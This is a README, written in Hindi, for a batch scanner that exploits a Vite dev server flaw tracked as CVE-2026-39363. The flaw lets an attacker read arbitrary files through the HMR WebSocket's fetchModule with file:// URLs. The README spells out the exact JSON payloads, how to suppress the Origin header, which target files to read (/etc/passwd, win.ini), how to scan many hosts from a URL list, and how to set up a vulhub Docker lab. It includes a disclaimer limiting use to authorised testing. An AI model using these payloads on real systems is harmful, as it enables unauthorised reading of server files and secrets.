
बैच भेद्यता स्कैनर CVE-2026-39363 के लिए Vite डेव सर्वर में, WebSocket ऑरिजिन सत्यापन बायपास का शोषण करके fetchModule के साथ file:// प्रोटोकॉल के माध्यम से मनमानी फ़ाइलें पढ़ता है।
अस्वीकरण: यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक अनुसंधान के लिए है। उपयोगकर्ता को स्थानीय कानूनों और विनियमों का पालन करना चाहिए; बिना प्राधिकरण के दूसरों के सिस्टम को स्कैन करना या हमला करना अवैध है। लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है।
Vite डेवलपमेंट सर्वर (6.0.0 ~ 6.4.1, 7.0.0 ~ 7.3.1, 8.0.0 ~ 8.0.4) का HMR WebSocket Origin हेडर को सत्यापित नहीं करता है। हमलावर vite:invoke इवेंट के माध्यम से fetchModule को कॉल कर सकता है, file:// प्रोटोकॉल के साथ ?raw पैरामीटर का उपयोग करके server.fs.allow प्रतिबंध को बायपास कर सकता है और सर्वर से कोई भी फ़ाइल पढ़ सकता है।
url.txt → http://host:port
↓ host + port पार्स करें
↓
┌─ चरण 1: ws://host:दिया गया पोर्ट पर प्रयास करें
│ ├─ WebSocket हैंडशेक सफल + exploit सफल → भेद्यता मौजूद है
│ └─ विफल → यदि दिया गया पोर्ट == 5173 → भेद्यता मौजूद नहीं है
│
└─ चरण 3: host:5173 की जाँच करें (केवल तब जब दिया गया पोर्ट ≠ 5173)
├─ पोर्ट बंद → भेद्यता मौजूद नहीं है
└─ पोर्ट खुला → WebSocket हैंडशेक + 5173 पर exploit
├─ सफल → भेद्यता मौजूद है
└─ विफल → भेद्यता मौजूद नहीं है
pip install -r requirements.txt
प्रॉक्सी चालू करने के लिए स्क्रिप्ट की पंक्तियाँ 26-27 की टिप्पणी हटाएँ
# प्रॉक्सी चालू करने के लिए, नीचे दो पंक्तियों की टिप्पणी हटाएँ और सही प्रॉक्सी पता और पोर्ट सेट करें
# os.environ["HTTP_PROXY"] = "http://127.0.0.1:8083"
# os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8083"
url.txt में लक्ष्य URL लिखें, प्रत्येक पंक्ति में एक:
http://192.168.1.100:5173
http://example.com
http://target.cn:8080
python cve_2026_39363.py
टर्मिनल:
[*] Loaded 3 URL(s), scanning with 3 thread(s)...
http://192.168.1.100:5173 存在漏洞 (Linux)
http://example.com 存在漏洞 (Linux)
http://target.cn:8080 不存在漏洞
[*] Done. 2/3 vulnerable, elapsed 3.2s
[*] Results saved to result.txt
result.txt:
http://192.168.1.100:5173 (Linux)
http://example.com:5173 (Linux)
प्रत्येक पंक्ति में POC प्रकार (
Linux/Windows) शामिल है, जो सफलतापूर्वक पढ़ी गई फ़ाइल की विशेषता को दर्शाता है।
| लक्ष्य प्रणाली | पढ़ी गई फ़ाइल | विशेषता मार्कर |
|---|---|---|
| Linux | file:///etc/passwd?raw | root: |
| Windows | file:///C:/Windows/win.ini?raw | for 16-bit app support |
दो payload प्रारूप समर्थित हैं (क्रम में प्रयास किए जाते हैं):
{"id":"send:0","name":"fetchModule","data":[file_path]}{"fn":"fetchModule","args":[file_path]}| पैरामीटर | मान | कारण |
|---|---|---|
| उप-प्रोटोकॉल | vite-hmr | Vite HMR WebSocket आवश्यकता |
| Origin | भेजना दबाया गया (suppress_origin=True) | Vite Origin हेडर वाले गैर-ब्राउज़र कनेक्शन को अस्वीकार करता है |
# प्रारंभ करें
docker run -d --name vite-vuln -p 5173:5173 vulhub/vite:7.3.1
# स्कैन करें
echo "http://127.0.0.1:5173" > url.txt
python cve_2026_39363.py
# साफ़ करें
docker stop vite-vuln && docker rm vite-vuln
प्रश्न: सभी जाँचें "भेद्यता मौजूद नहीं है" लौटाती हैं?
--host या server.host के साथ नेटवर्क पर उपलब्ध हैWebSocket को server.ws: false द्वारा अक्षम नहीं किया गया हैप्रश्न: Windows पर आउटपुट गड़बड़ है?
प्रश्न: PowerShell द्वारा उत्पन्न url.txt पार्स नहीं हो रहा है?
utf-8-sig का उपयोग करती है